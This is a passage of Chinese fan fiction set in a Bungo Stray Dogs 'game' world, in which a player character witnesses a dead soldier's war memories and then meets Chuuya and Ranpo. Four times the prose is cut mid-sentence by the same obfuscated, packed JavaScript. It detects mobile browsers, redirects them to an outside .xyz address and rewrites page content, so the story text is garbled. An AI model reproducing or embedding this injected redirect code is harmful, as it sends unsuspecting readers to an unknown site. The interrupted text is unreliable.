花理站在原地,看着太宰治消失的方向,又低头看了看自己紧握口袋的手。光线刺得她眼睛有些发酸。口袋里,那块刻着陌生名字的军牌,隔着布料硌着她的掌心,冰冷依旧。 「mimic的军牌」 「来源:由角色【太宰治】放入背包」 「描述:幽灵的象征。倘若您不想成为无家可归的亡灵,或许应该选择将带血的军牌抛弃。」 「描述(更新):他说这是你命运齿轮的一部分。但你拒不接受。你目睹了谁人的崩塌,一如你的心脏。」 「互动:您可对道具【mimic】的军牌使用异能力「见证者」。」 ……命运啊。 倘若一切都是命运和其中细小的齿轮,太宰治一定要她留下这枚军牌的理由、今天看见的mimic士兵,大概也正是所谓的「命运」吧? 耳膜鼓噪着自己沉重的心跳。她像是要逃离什么似的、不假思索地对着它发动了能力。 「玩家异能力『见证者』发动」 「您已进入里视角——冰冷军牌所见的·有关mimic的片段」 周围的景象如同被投入石子的水面,剧烈地扭曲、模糊。巷口的喧哗如同潮水般急速退去。取而代之的是扑面而来的硝烟。 呛人的火药味、烧焦的皮肉气味、刺鼻的土腥气…… “咳、咳咳……”花理脑袋有些发涨,和第一次发动「能力」一样,只是一个不留神,眼前的一切就已经变换了样子。 眼前是断壁残垣,天空灰扑扑的,爆炸的火光在视野所见的每个角落呈现,每一次都伴随着沉闷的巨响和难以名状的惨叫。 这里是……战场? 花理睁大眼。 这里是mimic见证过的战场吗? 「警告:感官过载!精神污染指数上升!强烈建议中断链接!」 系统尖锐的警报声响起,她刚想回答「你什么时候告诉过我切掉要怎么操作了」,耳边就瞬间响起了更大声的悲鸣,压过了系统的声音和她的思绪。 是一个男人粗砺的、带着哭腔的绝望呐喊。每一个词都像带着血: “不——安吉丽娜!!法斯!”像是痛苦得声带已然撕裂般令人心胆俱裂的声音。……还有些熟悉。 「检测到:当前画面NPC与您刚刚偶遇的mimicNPC身份信息吻合。」 「追加情报:此mimic军牌即为刚刚自/杀者所有。」 ……是刚刚死去的士兵的声音。 画面碎片汹涌而至,像是记忆的拥有者思绪混乱,根本无法形成连续影像。只是接连不断地在花理眼前闪过,没有停歇,毫无顺序: 「一片刺目的猩红在白皑皑的雪地上蔓延,旁边是一件沾满泥污的、花色的儿童棉袄碎片。」 「燃烧的木头噼啪作响,火舌贪婪舔舐着木屋的残骸。倒塌的窗框缝隙里,似乎有枯焦的人影。」 「“安吉丽娜……我的妻子。愿你得以安眠。我亲爱的法斯……我的孩子,我必有一日为你复仇,再与你于天堂再会。”」 花理顿了顿,还是于心不忍的侧过头。她伸手想去捞起地上那件属于孩童的衣物。手中空无一物,并没有碰到什么的触感。 “……” 「是○国的清洗部队。」系统说,「这是那位士兵的记忆……大概是离开故国前?」 似乎是属于缔造这灾难的人的模糊但极其冷酷的声音在背景里回荡,带着不容置疑的权威: “关于目标mimic的区域歼灭任务已完成。确认清除。”字句冰冷,不带一丝人类的温度,“长官,请继续下达指令。” 眼前的画面又是一闪。 这一次,冰冷的泥浆没过脚踝,背后是零星的枪声和追逐的呼喝,空气里弥漫着催命符般的紧张和血腥。 「一张张模糊、疲惫、写满恐惧的同伴的脸在泥泞和阴影中闪现又消失。」 「 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040799|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我们已被抛却,我们将要离开。”高大的男人对身后众人如此说。没有回应——哭声,应答,什么都没有。只是一群沉默的鬼魂。」 ……这是、第一次看到mimic相关中的那位纪德?还有队伍后面赘着的那个人…… 是刚刚的那个mimic军人。 那是张涕泪横流、痛苦扭曲的脸,随着向前一步步,表情慢慢被一种彻底放弃思考的、空洞的平静所取代。 然后,一切陷入无边的黑暗和寒冷。 —— 链接骤然中断,仿佛被人从深水中猛地拽出。 花理剧烈地喘息着,像是溺水的人刚刚接触到空气,额头上满是冷汗。她扶着旁边冰冷的墙壁,身体控制不住地颤抖。同第一次使用能力时一样,呕吐的欲望涌上来。大脑一片空白。 刚才那些恐怖的碎片仍在眼前上演。士兵临死前那抹怪异的微笑……那扭曲的宁静…… 那并非安宁,而是被无尽悲伤和背弃彻底碾碎灵魂后,抓住唯一能逃避现实的、畸形的慰藉。 「支线任务【横滨的幽灵不止一个】进度上升。」 「您已触发成就【无归之人】!」 「效果描述:对组织【mimic】说服力+80%,初识好感度+15%,见证者发动解读深度+60%」 「奖励:日元×3(1000円)已发放至背包。」 ……不完整的人类、啊。 花理摊开手心,军牌仍静静地躺在她的手心。她犹豫了一下,沿着离开时的原路返回,周围的喧嚣如旧——孩童的打闹、铁皮屋里传来的争吵、摊贩嘶哑的叫卖…… 这些原本令人躲避不及的东西,此刻却带着一种奇怪、让她稍微感到安心的“生气”。 花理回到那位mimic士兵的尸/体前,无人为其殓尸。这场发生在小角落的、悄无声息的死亡在世上无人在意。他的故土抛弃了他,他的亲友已然逝去。 花理看着他的尸体,顿了顿。俯下身,将这枚已经失了用处的军牌轻轻地放在他面前。 “……还请安息。” 她随机转身离开,走到一处相对开阔些的坡地,能眺望见远处横滨港口零星亮起的灯光。夕阳彻底沉入地平线,让她感到一些疲惫。 要不要下线休息一下……?好像玩太久了……就算时间有换算,也已经过去挺长时间了吧…… 嗡——嗡—— 口袋里的手机突然剧烈震动起来,在寂静的黄昏中显得格外突兀,几乎吓了她一跳。花理拿出手机,屏幕上没有显示出名字,看来又是陌生人来电…… 不会又是…… 她迟疑地接通电话,放到耳边: “喂……” “喂?”电话那头立刻传来的是一个熟悉的、带着一丝不耐和强横的声音。 “绵津见。昨天和你说的宿舍……啧,算了,那玩意儿回头再说。” “你今天不是跟着那个青花鱼……太宰那混蛋出外勤了吗?” 他的声音像带着一股莽撞却让人意想不到的力量,瞬间打破了花理周围萦绕的沉闷和死寂。 她几乎是下意识地、带点恍惚地回答: “中原前辈?” 25. 中也.1 “……中原前辈?” “是我。”那边的人沉默了一会儿,像是在组织语言,片刻,带着试探和关心重新开口,“……你这声音怎么回事?有气无力的……被人打了?” 花理被这带着不加掩饰的暴躁和一丝难以察觉的关切的问题逗笑了。 “没被打。”她手指不自觉地摩挲手机背面,“嗯……就是遇到了一些意料之外的事情?” “哈?什么事。” “嗯……这个嘛、这个……”花理顿了顿,像是突然想到什么般,毫无征兆的开口问了个看似不相关的问题: “前辈,你杀过人吗?” 电话那头沉默了一瞬,似乎在咀嚼这个信息。然后: “……你在说什么蠢话?”中原中也不耐烦的声音,以及重重放下钢笔的声音,“脑子坏掉了?” “……”好像确实是这样,她竟然问这种Mafia大人物这种问题。花理沉默了一瞬,有些尴尬地眼神左右漂移了一下。 “……我的意思是,”她又在给自己找补的路上努力挣扎,“前辈第一次动手的时候,在想什么……” “……” “啧。”一声有些烦躁的嗤声,然后中也不容置疑地命令道:“……你在哪?我过去找你。” “啊?不用麻烦,我……” “少废话!”中原中也不留拒绝余地打断她,语气不容反驳,“前辈问你话你就说。” “……镭钵街。” 也算是横滨地标、不怕死和被打劫就可以来一趟的圣地了。刚刚看到的一幕幕闪过眼前,花理有些感叹。 “哈?”中原中也的声音拔高了八度,透出明显的吃惊和不悦,“镭钵街?……跟那混蛋一起就没好事!” “唔。”中原前辈好像对太宰前辈意见超大啊…… 花理还在思考要不要顺着中原中也的话一起骂太宰治两句,对方又开口了,只是问她,“你周围有什么明显的建筑?” 花理环顾四周一圈,有些迟疑: “……破烂的棚子和破烂的棚子?” “?”这家伙做情报部Mafia真的不会完蛋吗。 “不过这里是上坡……视野挺好的。”花理看了看周围,补充道,“嗯……五十步外还有一个水果摊……真没想到在这里还有这种地方……” “那不是卖真水果的……总之,站在那里等我。”中原中也吩咐她两三句,得到花理“嗯嗯嗯”的敷衍回答后就利落地挂断了电话,“我马上到。” _ 挂断电话后不到一刻钟,随着一阵由远及近的轰鸣声,一辆重型机车从天而降,碾过镭钵街坎坷的路面,精准地停在了花理所在的坡地下方。 花理被卷起的尘土呛了一下。一边捂住嘴疯狂往后退一边有些呆滞的看着来人:“……前辈。” 刚刚前辈的车,从天上掉下来了……? 原来一个人的时候前辈是这样骑车的吗?那之前载她的时候莫非还手下留情了……毕竟那个时候,他们确实走的是马路,不是天上也不是楼顶…… 骑手将车头一拧,跨下车,动作干净利落。橘色的发丝在傍晚黯淡的光线下依旧醒目。他抬了抬帽子,露出底下一张年轻且锐气的脸。几步走上坡地。 帽檐下的钴蓝色眼眸扫视了周围一圈,眉头立刻紧拧。目光最终落定在花理身上时,那紧皱的眉头非但没有松开,反而拧得更深了。 花理第一句是“所以那家水果铺其实是卖什么的?”。 然后是:“前辈你别这样看我我有点害怕。” “……” 中也的眉头似乎又拧紧了些,他盯着花理,没立刻回答她那个显然又是不合时宜的玩笑的问题。 花理被他看得心里发毛,赶紧举手做投降状,低下脑袋:“……当我没问。” 盯着她晃荡的呆毛弹了几下,夕阳给发丝染上一圈毛茸茸的金边。后辈的少女似乎诚恳认错了——虽然她真的诚恳的可能性略小于一。 中原中也终于松开了紧皱的眉间,嗤笑一声,几步走到她面前,距离近得让花理不自觉地撇过头去。 “害怕?我看你明明很精神。看到我的第一句还有问别人卖什么水果。”他毫不客气地点评,目光不着痕迹地从花理脸上掠过——那张脸依旧没什么血色,眼神也残留着莫名的飘忽。 中原中也顿了顿。而花理已然抬起头朝他讨好地笑了一下。 能这么快恢复插科打诨的状态,该说是心大还是……某种奇特的适应性?他的心情有些微妙。 他啧了一声,把心里那点微妙的在意归结为对同僚“不专业”状态的看不惯。 “电话里支支吾吾的,还问那种蠢问题,”中也双手插回裤袋,不知是否是掩饰,语气相当不耐烦,“到底怎么回事?那混蛋又做了什么没品的事?” 他口中的“混蛋”自然是指太宰。花理脸上的笑容淡了些,一边点头一边连连摆手。 “?”中原中也,这到底是「是」还是「不是」? 花理叹了口气,有点自暴自弃地放下手: “嗯……就是跟着太宰前辈去做任务的时候清理一个任务目标?过程稍微……血乎滋拉了一点。” 她努力想让语气显得轻松,但尾音还是有点飘。花理视线向左上瞟去,显然是在努力思考。 “然后还见到了一位……自愿死亡的幽灵先生?”mimic的话,要怎么说?“……虽然是敌人吧。” 中也没说话,只是看着她。钴蓝的眸子微微眯起。 花理摸了摸鼻子,声音低了下去:“你可别教训我……前辈。我知道这都是Mafia该做的。” 但她就是做不到啊!给她改良成按「f」进过场动画自动击杀啊! “我什么时候说了?”中原中也反而反驳她,“你只是个文职而已。不是太宰那家伙,本来也不需要——” “好像也不是这样……因为是尾崎红叶大人把我指派给太宰大人学习的。可能、或许……我觉得那位大人就是要我学会这些……”花理敏锐地想到了些什么,有些垂头丧气地告诉中原中也前因后果。 “所以……才问了前辈那个问题。”她实在不想多谈「天啊这在Mafia到底是针对还是看好」,遂绕开话题,重新复述了一遍刚刚让中原中也骂她蠢的问题,“感觉前辈你……看起来像是经验很丰富的样子。” 港口Mafia大名鼎鼎的重力使大人,即使上班两天也会如雷贯耳。如果游戏出周边可以打印出来当门神吓小鬼的存在。 “呵,”中也发出一声短促的、意味不明的哼笑,在渐浓的暮色中,青年顿了顿,垂下眸子。 “经验丰富?你想听什么?第一次开枪的感觉?还是说踩爆哪个港口Maf ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040800|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ia的敌人的脑袋时溅血的画面?” “……”不,完全不是这种。其实她是来寻求一些心理安慰的,比如「我刚开始的时候也很害怕」之类这种。 但显然中原中也不是她期待的胆小党的同好,而是天生的战斗者。虽然他确实get到了她的意思: “……你是想听「新人第一次会这样很正常」之类的吗?” “很明显吗。”花理僵了一下,随即唉声叹气,“不过和前辈你说的话、好像确实并不是这样。” “哈。猜得没错。”他的话语带着一种近乎残酷的直白,仿佛在撕开花理某种幼稚的幻想。中也的声音低沉下来,带着一种只有莫名的厌倦。 “只是任务。目标在那儿,清除他——这就是你需要思考的一切。Mafia的世界里,要么动手,要么躺下。” “……”花理怔怔地看了他几秒,然后移开脑袋,低垂着头咕囔,像是对他的回答有些不满,用脚尖划拉了几下地上的沙土。 “……绝对不是吧。” “哈?”中原中也凶神恶煞地可以吓哭小孩地看了花理一眼,声音拔高了几个度。像是有些被气笑了,表情有点扭曲。 “……因为!”花理据理力争,也狠狠抬头,微眯着眼和中原中也对视,“就算前辈觉得「认为一个Mafia是好人」这种事很逊*!对我来说,请我吃饭的前辈就是好人啊!” “因为这种莫名其妙的事情还真亏你能这样理直气壮地说出来啊!” “……所以。”花理又低下脑袋,声音也低低的,“所以我想问,在我心里是好前辈的中原先生,是怎么想的。” “……嘁。”中原中也有些不自在地扯了扯帽子,视线游弋离开花理。片刻之后,才带着混杂着不满、妥协、感慨和一些些恼怒的声音问她: “……你想听什么?我第一次……杀/人的事情吗?” 中原中也的思绪被她带偏,跟着飘荡了很远很远,直至15岁那年。 “……那个时候,我还不是港口Mafia的人。”他像是有些自嘲地勾了勾嘴角,垂下头,帽子投下的阴影遮挡住了他的表情,花理看不太清。 “当时被我视作……「家人」的存在。”中原中也停顿了片刻,仿佛在反复咀嚼这个词的重量,才带着一些疲惫将其说出口。 “被绑架了。” 花理迅速进入了听故事的状态,激动地眨着眼睛。只恨手上没有爆米花:“然后呢?” “然后我赶到了那个工厂,把绑架他的家伙干掉了。就这样。”中原中也盯着她的动作,被她不着调的行为哽得瞬间垮下脸,面无表情地看着眼睛一亮凑过来的少女,气得还有点想冷笑: “你看起来很好奇啊?绵津见。” 花理连忙后撤两步,举起双手以示清白,绕有其事地摇摇头头,一副哥俩好的嘴脸:“不是呀,我只是关心前辈。” “……你还是先关心自己吧。”挑了挑眉,双手抱臂的中原中也扬起下巴,有些居高临下地撇着花理,眯了眯眼嗤笑,“因为开枪就吓成这样的家伙。” “前辈意外的敏锐……” “你以为在和谁说话啊、このバカ後輩め!(你这个笨蛋后辈!)” “所以没有然后了?”花理也不在意,摸了摸鼻子,好奇地追问。 “……你这家伙还想听什么?” 27. 名侦探.1 花理此刻正在莫名的恐慌和巨大的空白中。 就如中原中也猜测的一样,她本该说些什么。正想开口时,一种茫然出现在脑海中,令她只是张了张嘴。 ——关于她的过去,似乎花理自己也不甚清晰了。 自己的房间是什么样、自己爱吃的东西……这些她都还记得。但除此之外的,窗外的景色如何?自己的家在城市的哪个地段?现在的领导者是谁—— 记忆中现实世界的讯息,似乎有些飘散,无法收拢清晰。 她一时有些惊恐,想马上登出。系统却适时地出现,光球在系统屏幕上跳动两下,安抚她。 「别担心,玩家小姐。这也是为了沉浸式体验运用的新技术。」系统“滴滴”两声,为她在光屏上弹出许多份资料,包括各种神经科学和脑科学研究的介绍已经关于游戏工程新技术应用的批文,「您可以查阅以下资料。我方承诺其对人体完全无害。」 「而且正如我所说,目前两边的时间进度虽有调整。但为了真实感,在您下线期间,游戏世界仍然会照常继续。您不妨在夜晚进行下线。」系统弹了弹,好脾气的安抚她。 在一开始茫然带来的巨大恐慌褪去之后,她扫过系统弹出的一下现实世界讯息,也渐渐想起了一些细碎的记忆。游戏的时间线大概是比现实早了4年、进入游戏前她还接过社区活动的电话…… 她稍微安下心来,安慰自己「大概就像刚睡醒时也会有一瞬间想不起来自己是谁一样吧」?默许了系统的建议。 而像是为了不打扰她整理思绪,系统没再像往常一样用电子音播报并弹出提示框。只是在面板上有几条未读通知。她有些好奇地按开,是刚刚触发的好几条任务: 「角色【中原中也】好感度已达到开启好感线任务要求!」 「角色任务【中原中也/行至烈阳前】已归档到任务栏!您可随时查看。」 「游戏主线前置【登录日志修复工程】已完成!检测到关键线索」 「→【中原中也/实验室】」 「此线索与角色身份【绵津见花理】有所关联!请积极探索!」 「主线【你遗忘的记忆里】章节【勒忒之水】已开启!」 花理微微睁大眼,指尖刚刚掠过光幕想要打开任务详情,就因为中原中也的加速吓得手忙脚乱地抱住他的腰: “哇啊!前辈——!” _ 后辈在沉默许久后突然抱住自己,中原中也还以为她要说些煽情的话,迟疑着刚想如何回复,他思索着降缓车速: “喂、你……”可别说什么奇怪的话啊,我会想吐的。 中原中也面色古怪地转头抬眸看她,而花理一脸奇怪地回望过去,一脸懵逼,带着茫然的清澈和愚蠢:“……啊?” 意识到自己会错意的中原中也顿了顿,目光游移,抬手按了按帽子遮住自己因为误会和尴尬微红的脸,视线漂移,轻咳了一声:“……没什么。” 他装成一副才想起来没问她目的地、这才转过头看她的样子。垂着眼: “你要去哪?绵津见。” 绵津见花理一愣,她抬头看了看。由于中原中也高超的车技和极快的速度,他们已经离开了镭钵街很远一段距离,附近的路况已经好了不少,周围也从老旧的破屋变为了高大的商业大厦,看起来像是到了市中心。 花理微微侧头,目光掠过街景。一片灯火辉煌、极具东方风情的区域在不远处闪耀。熙熙攘攘,喧嚣热闹,甚至路人看起来也有活力得多。 她抬头望去,那条街的街口有竖牌匾。灯笼成串悬挂,还有相当东方色彩的屋檐。红红绿绿的建筑涂层,人声鼎沸。 ——横滨中华街。 空气里似乎隐约飘来了食物的香气,与镭钵街的死气沉沉截然不同。一种强烈的、近乎本能的渴望突然攫住了她。 想要靠近这里。靠近这样让人充满生气的地方。 “前辈,”花理的声音不大,却清晰地传入中原中也耳中,少女像是打起了一点精神,“前面中华街口……把我放下来吧。” “嗯?”中也微微偏头,橘色的发丝被风吹乱,“你要去那?现在?” “嗯,”花理点头,努力让自己的语气听起来轻松随意,“我还没去过中华街……既然破败的标志性地点镭钵街去了,中华街这样热闹的地方也不能错过吧?” 中也沉默了几秒。钴蓝色的眼眸透过后视镜审视着她。少女的脸色在变幻的霓虹下依旧有些苍白,但眼神里多了点打起精神的亮光。察觉到他的目光,还有力气透过镜子朝他笑笑。 “……随便你。”中原中也最终没有多问。机车一个流畅的甩尾,停在了中华街熙攘入口旁相对安静的路边。 “别逛太晚。遇到麻烦……”他顿了一下,想起这家伙之前翻垃圾桶的“壮举”和刚经历的事情,“……直接报港口Mafia的名号,或者打电话。” “唔……我尽量?但应该不会遇到麻烦吧……”花理跳下车,脚踩在坚实平整的人行道上,朝中也挥挥手。刚想离开,中原中也叫住她: “等一下。” “嗯?”花理疑惑地回头。 青年蹙着眉丢过来一串钥匙,花理“哎呀”一声,手忙脚乱地狼狈接住,是三把式的、看起来崭新。她抬起头来有些疑惑地看向中原中也。 “昨天说的新宿舍。”而中原中也没有看她,垂眸按着手机输入什么,这样言简意赅地说道。输入完后,他把手机重新放入口袋,拧了拧车把手。她的手机发出“嗡嗡”的提示音,打开正是中原中也发来的地址。 “大感谢……中原中也前辈……我会一辈子追随你的!” 绵津见花理眼睛一亮,对他说完感谢的话就窜入了人群当中。纤细的身影很快就被攒动的人头淹没。 中原中也皱了皱眉,总觉得这家伙的状态还是有点不对劲,但具体又说不上来。引擎轰鸣再次响起,目送不省心的后辈走远,黑色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040802|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的机车融入夜色,迅速消失在街道的另一头。 _ 中华街的夜晚是另一个世界。 鼎沸的人声,偶尔夹杂着汉语;还有各种食物香气——烤鸭的焦香、包子的面香、海鲜的鲜腥,以及…… “哎呀大妹砸,吃晚饭不?” 格外热情的魁梧的中国大妈,脸上洋溢着亲切的笑容。操着一口不标准的汉语,喜气洋洋地问她。 “咱们家菜可好吃嘞,中华料理!你来看看不?” 花理抬头看看,「蓬莱轩」的招牌闪闪发光,窗口明亮,透出让人舒适的冷气。往里面看去,穿着旗袍揽客的服务员,精致的点心橱窗……她一看钱包,游戏货币完全够她搓顿好的,花理随即坚定、豪气地:“——吃!” “好呀,那里面请呗!” 店里的音响放着喜庆的中文歌,人声鼎沸,她能看出其中许多是中国游客。随着指引的服务员往店铺深处走时,走廊边窗户第三桌、正在支着下巴看着外面行人街道的青年男性吸引了花理的注意。 那是个穿着棕色侦探披风、戴着同色猎鹿帽的青年。他看起来年纪不大,脸有些圆润,眯眯眼,看起来有些无聊的样子;面前的桌子上摆放着浇上了金箔糖浆,瓷碗盛装的招牌杏仁豆腐。* 青年察觉到了她的目光,先是在玻璃的倒影上和她对视了一眼,像是有些讶异般,动作顿了顿,然后: “你。等一下。” 他转过身来。 睁开的一双翠绿色的眼睛在帽檐下格外明亮,一眨不眨地盯着花理。他目光炯炯地盯着花理的脸,她下意识地摸了摸自己的脸庞,并没有沾上什么脏东西。而带路的服务员大概是误以为两人是熟人,已经带着托盘去招呼下一桌客人了。 花理正犹豫地看向服务员的背影,思考要不要叫住她,陌生青年的声音先一步响起: “你用了名侦探的能力吧?Mafia的小姐,我发现了!就是你——” 那翠绿眼眸深处一闪而过的、洞悉一切的光芒,而自称「名侦探」的青年双手抱臂,得意地发出了一声“哼”,像猫一样仰着头看她。 中华街喧嚣的声浪仿佛在这一刻退潮,只剩下青年自信笃定的声音在她脑中的回音,花理清晰地看着玻璃倒影中自己空白了一瞬间的脸,还有面前这位“名侦探”翘着尾巴得意的表情。 “诶?”她发出短促的、感叹般的单音节。 「角色:武装侦探社·世界第一的名侦探·江户川乱步」 「异能力·超推理(?)」 「近期事件:在吃点心时,发现了有趣的真相」 「状态:好奇,觉得有趣」 「关联信息:道具【世界第一名侦探的敏锐】拥有者。」 世界第一的名侦探……江户川 乱步? 花理的眼睛因为震惊微微放大,她有些讶异地和面前之人对上了目光,迟疑着开口: “……世界第一的名侦探?” 28. 名侦探.2 “嗯嗯!”面前的青年爽快地认下了这个称呼,像是很满意一样。花理看着他又舀起一勺杏仁豆腐送进嘴里,并振振有辞地抱怨其“糖浆淋得不均匀啊——”像是才反应过来还站在一旁的她,江户川乱步随手指了指对面的座位。 “坐吧。”他说,一边“啊呜”一口吞下勺子里的甜品,含糊不清地说,“你应该也有想问名侦探的事情才对。” 花理依言走过去,拉开椅子坐下。她支着下巴看着面前的青年,他也久久没有先开口,服务员已经把菜单递到了她面前,花理心不在焉地指了两个招牌菜,目光重新转回江户川乱步身上。 他刚刚把最后一口冰镇杏仁豆腐吞下去,发出一声满足的感叹,而后抬起头,翠绿的眸子对上她的视线。那双眼睛像名贵的猫眼石,剔透、锐利,带着一种能穿透表象的惊人洞察力,牢牢锁在她身上。 此刻,这位洞察力惊人的青年如餍足的猫一般,或许是因为刚刚吃过了甜品,显得心情很好,虽然话语间透露了他已经知道花理用过那个道具,但并没有什么特别的反应。 “你不问问名侦探是怎么知道吗?”他用勺子把吃空的碗往前退了退,有些好奇般这样问道,“唔……是在等我主动开口?名侦探确实有点好奇啦……” “Mafia的小姐,你叫什么名字?”他直起身,下巴微微仰起,像是准备解一道特别的数学题。花理呆了呆: “……绵津见花理。” “唔。是海神小姐。”青年脸上露出孩子气的得意,“完全不出名侦探所料~” “虽然我觉得不需要再自我介绍了……我是江户川乱步。你用了名侦探的能力吧?”他如此下判断道。 “诶、……嗯。”花理眨了眨眼。 她为了过主线买的一万円的道具、如果系统的「已优惠90%」的话就是原价10万円的道具,其中「世界第一名侦探」的称呼的主人、道具的原型正坐在她对面,用一种势在必得,已经洞悉了真相的表情看她。 “……「海神小姐」是什么意思?” “当然是对你的称呼啦,名侦探觉得很好哦?” “不、绝对很奇怪吧……” 但江户川乱步没有理睬她的吐槽,刚才那点无聊的神色在她报出名字后已经一扫而空,此刻翠绿的眼睛正重买了探究与好奇,因为激动闪闪发光。 “你看起来不知道嘛。”他孩子气地皱着眉,不知因为什么遗憾,这样点评了一句。但很快他的表情又有所变化,“但是名侦探已经完全理解了!” 服务员恰巧在这时端来了她点的菜,拯救了不知道该说什么的花理。她长舒了一口气,拿起筷子,顺带把刚上的菜往中间推了推,礼貌地问这个奇怪的饭搭子: “吃吗?” 而江户川乱步也丝毫不客气地拿走了她点的熊猫豆沙包。花理看着飞速消耗的豆沙包,眼神有点发直,有些郁闷地戳了戳盘中的河粉。对方或许没有察觉,亦或是以他的洞察力来说是察觉了但不予理睬。江户川乱步咬下一口红豆包,施舍或是怜悯般,像是要提示她些什么。 “你喜欢这里吗?” 被问到奇怪的问题,花理抬头莫名地看了他一眼。 “「这里」指哪里?” “唔……”他思考了一下,回答,“这个世界?” “因为你明明就是一种置身事外的样子吧~这样还要坚持体验下去的话,你是真的喜欢这个世界吗?” “……什么意思。” 花理握着筷子的手迟疑地顿在空中。 江户川乱步没有回答她的疑惑,发现了新奇玩具的孩子只专注于自己感兴趣的部分。身体微微前倾,凑近花理,压低了声音,猫般的眼睛一眨不眨地看着她: “意思就是,名侦探看得出来哦。”他拖长了尾音,翠眸里闪烁着狡黠的光,“你看着这一切:痛苦、挣扎,甚至死亡——就像在看一场全息电影。你的心跳会加速,会害怕,会恶心,但内心深处,你觉得这一切……都是可以被‘关闭’的,对吧?” “如果「观众」发现自己是「演员」的话,会怎么样呢。”他笑眯眯的,“名侦探也有点好奇。” 看到花理瞬间苍白的脸色和眼中难以掩饰的震惊,乱步像是得到了满意的反馈,他重新靠回椅背,朝服务员抬了抬手: “杏仁豆腐,再来一碗。”他指了指花理,“这位小姐买单~就当是烦恼相谈的报酬吧?” “……”花理没有接话,她的目光略过服务员和乱步,冲迟疑的服务员点点头表示默许。 违和。 是一种剧烈的违和。 她带着探究的、怀疑的……还有一点点冷漠的眼神看向再次拿到甜品欢呼了一声开始埋头苦干的乱步,垂下眼睛,心声如擂。 「我今晚就要登出。」 她冷不丁地对系统说了一句,系统弹跳了两下,光球在屏幕上明灭: 「……遵从您的意见。玩家小姐。」 花理郁闷地在往嘴里送了一口河粉,感觉胃口在刚刚消失,现在吃起来一点也不香了。她放下筷子,干脆抱臂看着江户川乱步继续吃。 太宰治、江户川乱步……这个游戏的NPC,到底智能到什么程度? 几乎像是环环相扣带来的剧情进展,直白的仿佛在与她交谈、穿透她竭力维持的“玩家”外壳,直抵她内心深处那份连自己都尚未理清的茫然的话语。 置身事外、这个世界……? 这两个词像两颗精准的子弹,击中了花理一直试图忽略的违和感。从进入这个“游戏”开始,她就抱着一种超然的、体验虚拟人生的心态。即使经历了审讯室、仓库、亲手扣动扳机,甚至在镭钵街直面生命的陨落,她内心深处依然有个声音在提醒:这只是游戏。 所以不不必当真、不必在意,不必用心。 她下意识地攥紧了拳头,指甲掐进掌心,微弱的痛感让她稍微找回一点理智。对面,江户川乱步已经又解决了一份食物,餍足地眯着眼睛,捕捉到她的视线,好心地为她补充。 “名侦探觉得,这个世界对你来说,可不只是「游戏」那么简单哦。” “……”花理眨了眨眼,回过神,看着他轻轻“嗯”了一声,站起来打算去结账回家:“感谢您的提醒,我先……”去买单,然后回去。 “等一下啦、你——”身后传来江户川乱步带着抱怨的、有点像孩子撒娇般口吻的声音,叫住了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040803|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,翠绿色的眼眸扫过花理面前几乎没动的食物,又看了看窗外已经完全暗下来的天色,“名侦探迷路了!这里好复杂,完全不认识回侦探社的路了!” “诶……?” 花理顿了顿,回过头来一头雾水地看着也江户川乱步从桌边站起来,擦了擦嘴,叉着腰对她宣布: “那么,就由你送我回去吧、海神小姐。” “……”花理看着对面那张写满“我超厉害但我现在需要帮助”的娃娃脸,无奈地叹了口气。她认命地掏出钱包付了账,看着乱步已经兴致勃勃地站在门口等她,像等待出发郊游的小学生。 她于是走过去,刚想问乱步「侦探社怎么走」,一抬头,对面「武装侦探社」的牌子就映入她眼帘,她看看身后又看看面前,这不过是一条街的两对面。 花理:“……?” 她有些迟疑地拍拍蹲在旁边江户川乱步,对方朝她问询般望过来,她指了指对面,满脸木然:“侦探社,那个吗?” 江户川乱步于是也望过去,一只手握拳砸在另一只摊开的手上,恍然大悟般,但语气却懒洋洋的:“啊……对哦。” “那我们现在就过去吧!” 花理:“哈哈。” 她觉得自己不是在送人,是在遛一只过分聪明且任性的猫。猫是故意遛她的那种。 